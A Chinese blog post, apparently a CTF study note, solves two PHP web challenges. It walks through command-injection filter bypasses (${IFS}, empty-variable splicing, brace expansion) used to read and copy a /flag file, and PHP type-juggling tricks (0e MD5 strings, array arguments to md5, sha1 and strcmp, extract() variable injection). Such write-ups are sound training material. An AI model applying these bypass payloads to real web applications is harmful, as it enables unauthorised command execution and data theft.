重新复习一点rce和绕过技巧

作者 by Yichen / 2023-10-11 / 暂无评论 / 47 个足迹

shctf baby_rce

<?php

$rce = $_GET['rce'];
if (isset($rce)) {<br />if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
system($rce);
}else {
echo "hhhhhhacker!!!"."\n";
}
} else {
highlight_file(__FILE__);
}

正则里把能用的基本都禁掉了,连空格也没了,但是ls没禁,看一下屏幕截图 2023-10-11 115120.png
就这两个,
罗列一下常用的查看命令
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容

再来看一点拼接:
使用$*和$@,$x,${x}
注:因为在没有传参的情况下,上面的特殊变量值为空,所以可以加到被过滤的字符串中来绕过
还有空格被过滤了,这时可以使用:

  • %09(url传递)(cat%09flag.php)
  • ${IFS}
  • $IFS$9
  • <>(cat<>/flag)
  • <(cat</flag)
  • {cat,flag}

最后构造了payload:ca${x}t${IFS}fla${x}g.php<br />结果文件里啥也没有,用ls${IFS}/看一下发现根目录有flag,
用cp${IFS}/fla${x}g${IFS}./把/flag文件复制到当前网页目录下(这里使用./表示)然后就可以直接访问看到flag了屏幕截图 2023-10-11 141101.png

newStar CTF begin of php

<?php
error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['key1']) && isset($_GET['key2'])){
echo "=Level 1=
";
if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
$flag1 = True;
}else{
die("nope,this is level 1");
}
}

if($flag1){<br /> echo "=Level 2=<br>";<br /> if(isset($_POST['key3'])){
if(md5($_POST['key3']) === sha1($_POST['key3'])){
$flag2 = True;
}
}else{
die("nope,this is level 2");
}
}

if($flag2){<br /> echo "=Level 3=<br>";<br /> if(isset($_GET['key4'])){
if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){<br /> $flag3 = True;
}else{
die("nope,this is level 3");
}
}
}

if($flag3){<br /> echo "=Level 4=<br>";<br /> if(isset($_GET['key5'])){
if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
$flag4 = True;
}else{
die("nope,this is level 4");
}
}
}

if($flag4){<br /> echo "=Level 5=<br>";<br /> extract($_POST);
foreach($_POST as $var){
if(preg_match("/[a-zA-Z0-9]/",$var)){<br /> die("nope,this is level 5");<br /> }<br /> }<br /> if($flag5){
echo file_get_contents("/flag");
}else{
die("nope,this is level 5");
}
}

源码如上,这个题主要是数组的绕过
第一步,?key1=s878926199a&key2=s155964671a
两个字符串加密后以0e开头即可(弱相等)
第二步,需要key3经过md5和sha1加密后值相同有点难,但是传入数组的话两个函数都会返回NULL这样也满足相等,key3[]=1
第三步,key4[]=1,strcmp有一个bug就是如果比较的是数组的话,直接返回一个0
第四步,key5=2024%00,在数字后加%00将不被识别为数字
第五步,要把post的参数作为变量名,然后检测变量名是否有数字字母,目的是既要给flag5设置值,传参中又不能有数字字母,看到extract()函数考虑将flag5设置为数组,这样数组不会被解析为变量名了,key3[]=1&flag5[]=1
拿到flag。

独特见解